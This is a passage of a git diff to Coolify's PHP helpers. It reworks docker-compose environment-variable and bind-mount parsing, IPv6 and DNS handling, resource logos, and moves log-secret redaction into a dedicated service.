redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $server->traefikCertificateResolver(data_get($resource, 'settings.traefik_certificate_resolver')), )); $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( network: $labelNetwork, @@ -2096,6 +2204,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $payload['volumes'] = $volumesParsed; } if ($environment->count() > 0 || $coolifyEnvironments->count() > 0) { + $environment = preserveLegacyDockerComposeNullAssignments($environment, $legacyNullEnvironmentVariables); $payload['environment'] = $environment->merge($coolifyEnvironments)->merge($serviceNameEnvironments); } if ($logging) { @@ -2189,6 +2298,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int data_forget($resource, 'environment_variables_preview'); $resource->save(); + syncDockerComposeEnvironmentVariableRequiredState($resource); + return $topLevel; } @@ -2247,6 +2358,8 @@ function serviceParser(Service $resource): Collection // Get the base docker network $baseNetwork = collect([$uuid]); + $legacyNullEnvironmentVariables = $resource->environment_variables()->where('preserve_compose_null', true)->whereNull('value')->get(); + $parsedServices = collect([]); // Generate SERVICE_NAME variables for docker compose services @@ -2798,15 +2911,14 @@ function serviceParser(Service $resource): Collection } } if ($type->value() === 'bind') { - if ($source->value() === '/var/run/docker.sock') { - $volume = $source->value().':'.$target->value(); - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); - } - } elseif ($source->value() === '/tmp' || $source->value() === '/tmp/') { - $volume = $source->value().':'.$target->value(); - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); + if (in_array($source->value(), ['/var/run/docker.sock', '/tmp', '/tmp/'], true)) { + if (is_string($volume)) { + $volume = $source->value().':'.$target->value(); + if (isset($parsed['mode']) && $parsed['mode']) { + $volume .= ':'.$parsed['mode']->value(); + } + } else { + $volume = composeLongBindVolume($volume, $source->value()); } } else { if ((int) $resource->compose_parsing_version >= 4) { @@ -2815,26 +2927,35 @@ function serviceParser(Service $resource): Collection $mainDirectory = str(base_configuration_dir().'/applications/'.$uuid); } $source = resolveComposeBindSource($source, $mainDirectory, $foundConfig?->fs_path); - LocalFileVolume::updateOrCreate( - [ - 'mount_path' => $target, - 'resource_id' => $originalResource->id, - 'resource_type' => get_class($originalResource), - ], - [ - 'fs_path' => $source, - 'mount_path' => $target, - 'content' => $content, - 'is_directory' => $isDirectory, - 'resource_id' => $originalResource->id, - 'resource_type' => get_class($originalResource), - ] - ); + // With `bind.create_host_path: false`, the host path must exist already: Coolify does not create or manage it. + if (! composeBindKeepsMissingHostPath($volume)) { + LocalFileVolume::updateOrCreate( + [ + 'mount_path' => $target, + 'resource_id' => $originalResource->id, + 'resource_type' => get_class($originalResource), + ], + [ + 'fs_path' => $source, + 'mount_path' => $target, + 'content' => $content, + 'is_directory' => $isDirectory, + 'resource_id' => $originalResource->id, + 'resource_type' => get_class($originalResource), + ] + ); + } else { + forgetComposeBindStorage($originalResource, $target->value()); + } // The file storage keeps the path that Coolify writes; the Docker daemon may need another one. $source = $source->replace($mainDirectory, devHostDockerPath($server, $mainDirectory->value())); - $volume = "$source:$target"; - if (isset($parsed['mode']) && $parsed['mode']) { - $volume .= ':'.$parsed['mode']->value(); + if (is_array($volume)) { + $volume = composeLongBindVolume($volume, $source->value()); + } else { + $volume = "$source:$target"; + if (isset($parsed['mode']) && $parsed['mode']) { + $volume .= ':'.$parsed['mode']->value(); + } } } } elseif ($type->value() === 'volume') { @@ -2955,6 +3076,7 @@ function serviceParser(Service $resource): Collection } } + $passthroughEnvironmentKeys = extractDockerComposePassthroughKeys(data_get($service, 'environment', [])); $normalEnvironments = $environment->diffKeys($allMagicEnvironments); $normalEnvironments = $normalEnvironments->filter(function ($value, $key) { return ! str($value)->startsWith('SERVICE_'); @@ -2965,6 +3087,39 @@ function serviceParser(Service $resource): Collection $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); + if ($value->isEmpty() && $passthroughEnvironmentKeys->contains($key->value())) { + $resource->environment_variables()->firstOrCreate([ + 'key' => $key, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, + ]); + + continue; + } + $referenceContent = extractBalancedBraceContent($value->value()); + $primaryReference = $referenceContent === null ? null : splitOnOperatorOutsideNested($referenceContent['content']); + extractDockerComposeEnvironmentVariableReferences($value->value()) + ->reject(fn (string $reference): bool => $value->startsWith('$') && $reference === ($primaryReference['variable'] ?? null) && str_contains($primaryReference['operator'], '?')) + ->reject(fn (string $reference): bool => str_starts_with($reference, 'SERVICE_')) + ->each(function (string $reference) use ($resource): void { + $environmentVariable = $resource->environment_variables()->firstOrCreate([ + 'key' => $reference, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + ]); + $isRequired = dockerComposeEnvironmentVariableIsRequired( + $resource->docker_compose_raw ?? $resource->docker_compose, + $reference + ); + if ((bool) $environmentVariable->is_required !== $isRequired) { + $environmentVariable->update(['is_required' => $isRequired]); + } + }); if ($parsedValue->startsWith('SERVICE_')) { $resource->environment_variables()->updateOrCreate([ 'key' => $key, @@ -3020,15 +3175,12 @@ function serviceParser(Service $resource): Collection 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $defaultValue, + 'value' => $isRequired ? $defaultValue : null, 'is_preview' => false, 'is_required' => $isRequired, 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$varName] = $envVar->value; - // Recursively process nested variables in default value if (str_contains($defaultValue, '${')) { // Extract and create nested variables @@ -3055,8 +3207,6 @@ function serviceParser(Service $resource): Collection 'value' => $nestedSplit['default'], 'is_preview' => false, ]); - // Add nested variable to environment - $environment[$nestedSplit['variable']] = $nestedEnvVar->value; } else { // Simple nested variable without default (only if it doesn't exist) $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ @@ -3066,8 +3216,6 @@ function serviceParser(Service $resource): Collection ], [ 'is_preview' => false, ]); - // Add nested variable to environment - $environment[$nestedContent] = $nestedEnvVar->value; } } @@ -3091,8 +3239,6 @@ function serviceParser(Service $resource): Collection 'is_required' => $isRequired, 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment using the saved DB value - $environment[$content] = $envVar->value; } } else { // Fallback to old behavior for malformed input (backward compatibility) @@ -3258,7 +3404,8 @@ function serviceParser(Service $resource): Collection onlyPort: $onlyPort, domainPortOverrides: $originalResource->domain_port_overrides ?? [], noindex_domains: $noindexDomains, - redirect_direction: $redirectDirection + redirect_direction: $redirectDirection, + certificate_resolver: $server->traefikCertificateResolver(data_get($originalResource, 'traefik_certificate_resolver')), )); break; case ProxyTypes::CADDY->value: @@ -3295,7 +3442,8 @@ function serviceParser(Service $resource): Collection onlyPort: $onlyPort, domainPortOverrides: $originalResource->domain_port_overrides ?? [], noindex_domains: $noindexDomains, - redirect_direction: $redirectDirection + redirect_direction: $redirectDirection, + certificate_resolver: $server->traefikCertificateResolver(data_get($originalResource, 'traefik_certificate_resolver')), )); $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( network: $network, @@ -3348,6 +3496,7 @@ function serviceParser(Service $resource): Collection $payload['volumes'] = $volumesParsed; } if ($environment->count() > 0 || $coolifyEnvironments->count() > 0) { + $environment = preserveLegacyDockerComposeNullAssignments($environment, $legacyNullEnvironmentVariables); $payload['environment'] = $environment->merge($coolifyEnvironments)->merge($serviceNameEnvironments); } if ($logging) { @@ -3422,5 +3571,7 @@ function serviceParser(Service $resource): Collection data_forget($resource, 'environment_variables_preview'); $resource->save(); + syncDockerComposeEnvironmentVariableRequiredState($resource); + return $topLevel; } diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index d17c4188ac..00652f46b5 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -9,6 +9,7 @@ use App\Models\Application; use App\Models\ApplicationDeploymentQueue; use App\Models\PrivateKey; use App\Models\Server; +use App\Services\Security\SensitiveDataRedactor; use App\Support\RemoteProcessCommand; use Carbon\Carbon; use Illuminate\Contracts\Process\ProcessResult; @@ -371,45 +372,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d function remove_iip($text) { - // Ensure the input is valid UTF-8 before processing - $text = sanitize_utf8_text($text); - - // Git access tokens - $text = preg_replace('/x-access-token:.*?(?=@)/', 'x-access-token:'.REDACTED, $text); - $text = preg_replace('/oauth2:.*?(?=@)/', 'oauth2:'.REDACTED, $text); - - // ANSI color codes - $text = preg_replace('/\x1b\[[0-9;]*m/', '', $text); - - // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, git basic auth, etc.) - // (protocol://user:password@host → protocol://user:@host) - $text = preg_replace('/((?:https?|postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); - - // Email addresses - $text = preg_replace('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', REDACTED, $text); - - // Bearer/JWT tokens - $text = preg_replace('/Bearer\s+[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+/i', 'Bearer '.REDACTED, $text); - - // GitHub tokens (ghp_ = personal, gho_ = OAuth, ghu_ = user-to-server, ghs_ = server-to-server, ghr_ = refresh) - $text = preg_replace('/\bgh[pousr]_[A-Za-z0-9.\-_]{36,}(?![A-Za-z0-9.\-_])/', REDACTED, $text); - - // GitLab tokens (glpat- = personal access token, glcbt- = CI build token, glrt- = runner token) - $text = preg_replace('/\b(gl(?:pat|cbt|rt)-[A-Za-z0-9\-_]{20,})\b/', REDACTED, $text); - - // AWS credentials (Access Key ID starts with AKIA, ABIA, ACCA, ASIA) - $text = preg_replace('/\b(A(?:KIA|BIA|CCA|SIA)[A-Z0-9]{16})\b/', REDACTED, $text); - - // AWS Secret Access Key (40 character base64-ish string, typically follows access key) - $text = preg_replace('/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[=:]\s*[\'"]?([A-Za-z0-9\/+=]{40})[\'"]?/i', '$1='.REDACTED, $text); - - // API keys (common patterns) - $text = preg_replace('/(api[_-]?key|apikey|api[_-]?secret|secret[_-]?key)[=:]\s*[\'"]?[A-Za-z0-9\-_]{16,}[\'"]?/i', '$1='.REDACTED, $text); - - // Private key blocks - $text = preg_replace('/-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/', REDACTED, $text); - - return $text; + return app(SensitiveDataRedactor::class)->redactText((string) $text); } /** diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index ca6cd6014d..66154ce7e8 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -26,15 +26,111 @@ function service_logo_urls(mixed $logo): array } use App\Models\Application; +use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\LocalFileVolume; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Log; use Illuminate\Support\Stringable; use Spatie\Url\Url; use Symfony\Component\Yaml\Yaml; +/** + * The URL of a logo in public/svgs/resources. The file's modification time is the version, so + * browsers load a changed logo instead of their cached copy. + */ +function resource_logo_url(string $name): string +{ + $path = "svgs/resources/{$name}.svg"; + $modifiedAt = is_file(public_path($path)) ? filemtime(public_path($path)) : false; + + return asset($path).($modifiedAt ? "?v={$modifiedAt}" : ''); +} + +/** + * The logo of a resource, the same one shown on the "New resource" page: the database engine, + * the service template, or how the application is built. Null when there is no specific logo. + * + * Applications with a domain also get the favicon URL of their first domain. The browser loads it + * and shows it in place of the logo when it loads. Coolify itself never requests it. + * + * @return array{src: string, dark: ?string, fallback: ?string, padded: bool, favicon: ?string}|null + */ +function resource_logo(Model $resource): ?array +{ + $resourceLogo = function (string $name, bool $hasDarkVariant = false): array { + return [ + 'src' => resource_logo_url($name), + 'dark' => $hasDarkVariant ? resource_logo_url("{$name}-dark") : null, + 'fallback' => null, + 'padded' => false, + 'favicon' => null, + ]; + }; + + if ($resource instanceof Service) { + $templates = once(fn () => get_service_templates()); + $type = filled($resource->service_type) ? $resource->service_type : str($resource->name)->beforeLast('-')->value(); + $logo = data_get($templates->get(resolve_service_template_key($type, $templates)), 'logo'); + if (! is_string($logo) || $logo === '' || basename($logo) === 'default.webp') { + return null; + } + $urls = service_logo_urls($logo); + + return ['src' => $urls['logo'], 'dark' => null, 'fallback' => $urls['logo_cdn_url'], 'padded' => true, 'favicon' => null]; + } + + if ($resource instanceof Application) { + $logo = match (true) { + $resource->build_pack === 'dockerimage' => $resourceLogo('docker-image'), + $resource->build_pack === 'dockerfile' => $resourceLogo('dockerfile'), + $resource->build_pack === 'dockercompose' => $resourceLogo('docker-compose'), + $resource->source_type === GithubApp::class => $resourceLogo('github-app', true), + $resource->source_type === GitlabApp::class => $resourceLogo('gitlab-app'), + default => $resourceLogo('public-repo'), + }; + + return [...$logo, 'favicon' => resource_favicon_url($resource->fqdn)]; + } + + if (! method_exists($resource, 'type')) { + return null; + } + + return match (str($resource->type())->after('standalone-')->value()) { + 'postgresql' => $resourceLogo('postgres'), + 'mysql' => $resourceLogo('mysql'), + 'mariadb' => $resourceLogo('mariadb'), + 'mongodb' => $resourceLogo('mongodb'), + 'redis' => $resourceLogo('redis'), + 'keydb' => $resourceLogo('keydb', true), + 'dragonfly' => $resourceLogo('dragonfly', true), + 'clickhouse' => $resourceLogo('clickhouse'), + 'sqlite' => $resourceLogo('sqlite'), + default => null, + }; +} + +/** + * The favicon URL of the first domain in a comma-separated domain list, or null when there is no usable domain. + */ +function resource_favicon_url(?string $fqdn): ?string +{ + $domain = str((string) $fqdn)->explode(',')->map(fn (string $url) => trim($url))->first(fn (string $url) => $url !== ''); + $parts = parse_url((string) $domain); + $scheme = strtolower((string) ($parts['scheme'] ?? '')); + $host = (string) ($parts['host'] ?? ''); + if (! in_array($scheme, ['http', 'https'], true) || $host === '' || str_contains($host, '*')) { + return null; + } + $port = isset($parts['port']) ? ':'.$parts['port'] : ''; + + return "{$scheme}://{$host}{$port}/favicon.ico"; +} + function replaceRegex(?string $name = null) { return "/\\\${?{$name}[^}]*}?|\\\${$name}\w+/"; diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index ae4d28b4bb..e824d43ee5 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -38,6 +38,7 @@ use App\Models\StandaloneSqlite; use App\Models\SwarmDocker; use App\Models\Team; use App\Models\User; +use App\Services\Security\SensitiveDataRedactor; use App\Support\DnsRecordHints; use Carbon\CarbonImmutable; use DanHarrin\LivewireRateLimiting\Exceptions\TooManyRequestsException; @@ -72,6 +73,7 @@ use phpseclib3\Crypt\EC; use phpseclib3\Crypt\RSA; use Poliander\Cron\CronExpression; use PurplePixie\PhpDns\DNSQuery; +use PurplePixie\PhpDns\DNSResult; use PurplePixie\PhpDns\DNSTypes; use Spatie\Url\Url; use Symfony\Component\Yaml\Yaml; @@ -890,6 +892,10 @@ function profile_avatar_url(User $user): string } } + if (auth()->check() && $user->id !== auth()->id()) { + return route('team.member.avatar', ['user_id' => $user->id, 'v' => $user->updated_at->timestamp]); + } + return route('profile.avatar', ['v' => $user->updated_at->timestamp]); } @@ -908,6 +914,21 @@ function project_icon_url(Project $project): string ]); } +function team_avatar_url(Team $team): string +{ + if ($team->avatar_storage_type === 's3') { + $url = s3_image_url($team->avatar_s3_storage_id, $team->avatar_path, $team->updated_at->timestamp); + if ($url) { + return $url; + } + } + + return route('team.avatar', [ + 'team_id' => $team->id, + 'v' => $team->updated_at->timestamp, + ]); +} + function s3_image_url(?int $storageId, ?string $path, int $version): ?string { if (! $storageId || blank($path)) { @@ -1494,19 +1515,9 @@ function sslip(Server $server) if (isDev() && $server->id === 0) { return 'http://127.0.0.1.sslip.io'; } - if ($server->ip === 'host.docker.internal') { - $baseIp = base_ip(); + $ip = $server->ip === 'host.docker.internal' ? base_ip() : $server->ip; - return "http://$baseIp.sslip.io"; - } - // ipv6 - if (str($server->ip)->contains(':')) { - $ipv6 = str($server->ip)->replace(':', '-'); - - return "http://{$ipv6}.sslip.io"; - } - - return "http://{$server->ip}.sslip.io"; + return 'http://'.sslipHostLabel($ip).'.sslip.io'; } function service_templates_cache_key(): string @@ -1725,10 +1736,14 @@ function removeAnsiColors($text) return preg_replace('/\e[[][A-Za-z0-9];?[0-9]*m?/', '', $text); } -function sanitizeLogsForExport(string $text): string +/** + * Redact log text before it leaves Coolify (copy, download, API, MCP). + * + * @param array{known?: array, locked?: array} $secrets Resource values to hide, usually from EnvironmentVariable::logRedactionSecretsFor(). + */ +function sanitizeLogsForExport(string $text, array $secrets = []): string { - // All sanitization is now handled by remove_iip() - return remove_iip($text); + return app(SensitiveDataRedactor::class)->redactText($text, $secrets['known'] ?? [], $secrets['locked'] ?? []); } function getTopLevelNetworks(Service|Application $resource): Collection @@ -2352,10 +2367,8 @@ function validateDNSEntry(string $fqdn, Server $server) $type = dnsRecordTypeForIp($ip) === 'AAAA' ? DNSTypes::NAME_AAAA : DNSTypes::NAME_A; foreach ($dns_servers as $dns_server) { try { - $query = createDnsQuery($dns_server); - $results = $query->query($host, $type); - if ($results === false || $query->hasError()) { - } else { + $results = queryDnsServer($dns_server, $host, $type); + if ($results !== false) { foreach ($results as $result) { if ($result->getType() == $type) { if (isCloudflareIp($result->getData())) { @@ -2376,15 +2389,40 @@ function validateDNSEntry(string $fqdn, Server $server) return $found_matching_ip; } -function createDnsQuery(string $dnsServer): DNSQuery +function createDnsQuery(string $dnsServer, int $timeout = 5, bool $udp = true): DNSQuery { return app()->make(DNSQuery::class, [ - 'server' => $dnsServer, + 'server' => formatHostForUrl($dnsServer), 'port' => 53, - 'timeout' => 5, + 'timeout' => $timeout, + 'udp' => $udp, ]); } +/** + * Query one DNS server for one record type. When the UDP answer is truncated (TC bit), + * retry over TCP: resolvers such as 1.1.1.1 can truncate even small answers, and the + * records would otherwise be silently dropped. + * + * @return iterable|false + */ +function queryDnsServer(string $dnsServer, string $host, string $type, int $timeout = 5): iterable|false +{ + $query = createDnsQuery($dnsServer, $timeout); + $records = $query->query($host, $type); + + if ($records === false && str_contains($query->getLasterror(), 'too big for UDP')) { + $query = createDnsQuery($dnsServer, $timeout, udp: false); + $records = $query->query($host, $type); + } + + if ($records === false || $query->hasError()) { + return false; + } + + return $records; +} + function isCloudflareIp(string $ip): bool { // https://www.cloudflare.com/ips/ @@ -2400,6 +2438,72 @@ function isCloudflareIp(string $ip): bool return ipMatch($ip, $cloudflareIps); } +/** + * The one stored form of an IP address: no spaces, no brackets, and IPv6 in its short lower-case + * form (2A01:04F8::0001 becomes 2a01:4f8::1). IPv4 addresses and hostnames stay as they are. + */ +function normalizeIpAddress(string $value): string +{ + $value = trim($value); + $withoutBrackets = trim($value, '[]'); + if (filter_var($withoutBrackets, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) { + return inet_ntop(inet_pton($withoutBrackets)); + } + + return $value; +} + +/** + * The host for a URL or a "host:port" value: an IPv6 address gets brackets ([2a01:4f8::1]), so + * that its colons are not read as the port. Other hosts stay as they are. + */ +function formatHostForUrl(string $host): string +{ + $normalized = normalizeIpAddress($host); + + return filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false ? "[{$normalized}]" : $normalized; +} + +/** + * Hetzner gives an IPv6 network (2a01:4f8:c016:bd23::/64), not an address. The server uses the + * first address of the network (2a01:4f8:c016:bd23::1). + */ +function hetznerServerIpv6(?string $network): ?string +{ + if (blank($network)) { + return null; + } + $address = str($network)->before('/')->value(); + if (filter_var($address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false) { + return null; + } + if (str_contains($network, '/')) { + $address = inet_ntop(inet_pton($address) | inet_pton('::1')); + } + + return normalizeIpAddress($address); +} + +/** + * The sslip.io label for an IP address. IPv6 colons become dashes, and a "0" is added where the + * address starts or ends with "::", because a DNS label cannot start or end with a dash. + */ +function sslipHostLabel(string $ip): string +{ + $ip = normalizeIpAddress($ip); + if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false) { + return $ip; + } + if (str_starts_with($ip, '::')) { + $ip = '0'.$ip; + } + if (str_ends_with($ip, '::')) { + $ip .= '0'; + } + + return str_replace(':', '-', $ip); +} + function ipMatch($ip, $cidrs, &$match = null) { foreach ((array) $cidrs as $cidr) { @@ -2508,8 +2612,8 @@ function checkIPAgainstAllowlist($ip, $allowlist) return true; } - // Direct IP comparison - if ($ip === $allowed) { + // Direct IP comparison; IPv6 can be written in more than one form + if (normalizeIpAddress((string) $ip) === normalizeIpAddress((string) $allowed)) { return true; } } @@ -2723,6 +2827,42 @@ function isBase64Encoded($strValue) { return base64_encode(base64_decode($strValue, true)) === $strValue; } + +function decodeBase64EncodedLabels(string $value): ?string +{ + if (! isBase64Encoded($value)) { + return null; + } + + $decoded = base64_decode($value, true); + if ($decoded === false) { + return null; + } + $labels = $decoded; + + while ($decoded !== '' && isBase64Encoded($decoded)) { + $next = base64_decode($decoded, true); + if ($next === false) { + break; + } + $decoded = $next; + if (mb_detect_encoding($decoded, 'UTF-8', true) !== false) { + $lines = preg_split('/\r\n|\n|\r/', $decoded); + if ($lines === false) { + break; + } + $containsOnlyLabels = collect($lines) + ->filter(fn (string $line) => $line !== '') + ->every(fn (string $line) => str_contains($line, '=') && ! str_starts_with($line, '=')); + + if ($containsOnlyLabels) { + $labels = $decoded; + } + } + } + + return mb_detect_encoding($labels, 'UTF-8', true) === false ? null : $labels; +} function customApiValidator(Collection|array $item, array $rules, array $messages = []) { if (is_array($item)) { @@ -3372,6 +3512,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal noindex_domains: $noindexDomains, redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $resource->server->traefikCertificateResolver(data_get($savedService, 'traefik_certificate_resolver')), )); break; case ProxyTypes::CADDY->value: @@ -3409,6 +3550,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal noindex_domains: $noindexDomains, redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $resource->server->traefikCertificateResolver(data_get($savedService, 'traefik_certificate_resolver')), )); $serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy( network: $resource->destination->network, @@ -4183,6 +4325,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal noindex_domains: $noindexDomains, redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $server->traefikCertificateResolver(data_get($resource, 'settings.traefik_certificate_resolver')), ) ); break; @@ -4223,6 +4366,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal noindex_domains: $noindexDomains, redirect_direction: $redirectDirection, domainPortOverrides: $domainPortOverrides, + certificate_resolver: $server->traefikCertificateResolver(data_get($resource, 'settings.traefik_certificate_resolver')), ) ); $serviceLabels = $serviceLabels->merge( @@ -4476,6 +4620,10 @@ function settingsSearchItems(iterable $groupedItems, array $routeParameters, arr foreach ($groupedItems as $groupLabel => $groupItems) { foreach ($groupItems as $item) { + if ($item['disabled'] ?? false) { + continue; + } + $href = route($item['route'], $routeParameters); $add($item['label'], $groupLabel, $href, $item['navigate'] ?? true); @@ -4677,7 +4825,7 @@ function parseScpStyleGitUrl(?string $gitRepository): ?array return null; } - if (preg_match('/^(?[A-Za-z0-9._-]+)@(?[^:]+):(?:(?\d+)\/)?(?.+)$/', $gitRepository, $matches) !== 1) { + if (preg_match('/^(?[A-Za-z0-9._-]+)@(?\[[0-9A-Fa-f:.]+\]|[^:\[\]]+):(?:(?\d+)\/)?(?.+)$/', $gitRepository, $matches) !== 1) { return null; } @@ -5119,6 +5267,8 @@ function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): Collect continue; } + $passthroughKeys = extractDockerComposePassthroughKeys($environment); + // Convert environment variables to key-value format $environment = convertToKeyValueCollection($environment); @@ -5128,6 +5278,7 @@ function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): Collect 'value' => $value, 'comment' => $envComments[$key] ?? null, 'service_name' => $serviceName, + 'is_passthrough' => $passthroughKeys->contains($key), ]); } } @@ -5135,6 +5286,175 @@ function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): Collect return $hardcodedVars; } +/** @return Collection */ +function extractDockerComposePassthroughKeys(mixed $environment): Collection +{ + return collect($environment) + ->map(function (mixed $value, mixed $key): ?string { + if (is_numeric($key)) { + return is_string($value) && ! str_contains($value, '=') ? $value : null; + } + + return $value === null ? (string) $key : null; + }) + ->filter() + ->unique() + ->values(); +} + +/** @return Collection */ +function extractDockerComposeEnvironmentVariableReferences(mixed $value): Collection +{ + if (! is_string($value) || ! str_contains($value, '$')) { + return collect(); + } + + preg_match_all('/(?unique() + ->values(); +} + +/** @return array{services: list, default: ?string, operator: ?string, required: bool}|null */ +function dockerComposeEnvironmentVariableInfo(?string $dockerCompose, string $key): ?array +{ + if (blank($dockerCompose)) { + return null; + } + + $services = []; + $default = null; + $operator = null; + $required = false; + + foreach (extractHardcodedEnvironmentVariables($dockerCompose) as $assignment) { + $value = $assignment['value'] ?? null; + $isPassthrough = ($assignment['is_passthrough'] ?? false) && $assignment['key'] === $key; + if (! $isPassthrough && ! extractDockerComposeEnvironmentVariableReferences($value)->contains($key)) { + continue; + } + + if (filled($assignment['service_name'] ?? null)) { + $services[] = $assignment['service_name']; + } + + if (is_string($value)) { + $offset = 0; + while (($referenceStart = strpos($value, '${', $offset)) !== false) { + if ($referenceStart > 0 && $value[$referenceStart - 1] === '$') { + $offset = $referenceStart + 2; + + continue; + } + + $balancedReference = extractBalancedBraceContent(substr($value, $referenceStart)); + if ($balancedReference === null) { + break; + } + + $splitReference = splitOnOperatorOutsideNested($balancedReference['content']); + if ($splitReference !== null && $splitReference['variable'] === $key) { + $matchedOperator = $splitReference['operator']; + $operator ??= $matchedOperator; + if (str_contains($matchedOperator, '-')) { + $default ??= $splitReference['default']; + } + $required = $required || str_contains($matchedOperator, '?'); + } + + $offset = $referenceStart + 2; + } + } + } + + if ($services === []) { + return null; + } + + return [ + 'services' => array_values(array_unique($services)), + 'default' => $default, + 'operator' => $operator, + 'required' => $required, + ]; +} + +function dockerComposeEnvironmentVariableIsRequired(?string $dockerCompose, string $key): bool +{ + if (blank($dockerCompose)) { + return false; + } + + $key = preg_quote($key, '/'); + + return preg_match('/(?contains(fn (array $assignment): bool => $assignment['key'] === $key && $assignment['is_passthrough'])) { + return true; + } + + return extractDockerComposeEnvironmentVariableReferences($dockerCompose)->contains($key); +} + +/** @param Collection $environmentVariables */ +function preserveLegacyDockerComposeNullAssignments(Collection $environment, Collection $environmentVariables): Collection +{ + foreach ($environmentVariables as $environmentVariable) { + if (! $environmentVariable->preservesLegacyComposeNull() || ! $environment->has($environmentVariable->key)) { + continue; + } + + $key = $environmentVariable->key; + $value = $environment->get($key); + if ($value === null || $value === '$'.$key) { + $environment->put($key, ''); + + continue; + } + if (! is_string($value) || ! str_starts_with($value, '${')) { + continue; + } + $reference = extractBalancedBraceContent($value); + if ($reference === null || $reference['end'] !== strlen($value) - 1) { + continue; + } + $split = splitOnOperatorOutsideNested($reference['content']); + if (($split['variable'] ?? $reference['content']) === $key) { + $environment->put($key, ''); + } + } + + return $environment; +} + +function syncDockerComposeEnvironmentVariableRequiredState(Application|Service $resource): void +{ + $dockerCompose = $resource->docker_compose_raw ?? $resource->docker_compose; + + $environmentVariables = $resource->environment_variables()->get(); + if ($resource instanceof Application) { + $environmentVariables = $environmentVariables->concat($resource->environment_variables_preview()->get()); + } + + $environmentVariables->each(function (EnvironmentVariable $environmentVariable) use ($dockerCompose): void { + $isRequired = ! $environmentVariable->preservesLegacyComposeNull() + && dockerComposeEnvironmentVariableIsRequired($dockerCompose, $environmentVariable->key); + if ((bool) $environmentVariable->is_required !== $isRequired) { + $environmentVariable->update(['is_required' => $isRequired]); + } + }); +} + /** * Downsample metrics using the Largest-Triangle-Three-Buckets (LTTB) algorithm. * This preserves the visual shape of the data better than simple averaging. diff --git a/bootstrap/helpers/subscriptions.php b/bootstrap/helpers/subscriptions.php index 971afdfb79..95442ca359 100644 --- a/bootstrap/helpers/subscriptions.php +++ b/bootstrap/helpers/subscriptions.php @@ -85,6 +85,12 @@ function allowedPathsForUnsubscribedAccounts() // Account basics stay available without a paid plan. 'profile', 'profile/appearance', + 'profile/passkeys/confirm', + 'user/confirm-password', + 'user/passkeys', + 'user/passkeys/options', + 'passkeys/confirm', + 'passkeys/confirm/options', ]; } function allowedPathsForBoardingAccounts() diff --git a/config/app.php b/config/app.php index 59aa6f4c28..43ce289433 100644 --- a/config/app.php +++ b/config/app.php @@ -11,6 +11,7 @@ use Illuminate\Auth\Passwords\PasswordResetServiceProvider; use Illuminate\Broadcasting\BroadcastServiceProvider; use Illuminate\Bus\BusServiceProvider; use Illuminate\Cache\CacheServiceProvider; +use Illuminate\Concurrency\ConcurrencyServiceProvider; use Illuminate\Cookie\CookieServiceProvider; use Illuminate\Database\DatabaseServiceProvider; use Illuminate\Encryption\EncryptionServiceProvider; @@ -217,6 +218,7 @@ return [ BroadcastServiceProvider::class, BusServiceProvider::class, CacheServiceProvider::class, + ConcurrencyServiceProvider::class, ConsoleSupportServiceProvider::class, CookieServiceProvider::class, DatabaseServiceProvider::class, diff --git a/config/constants.php b/config/constants.php index 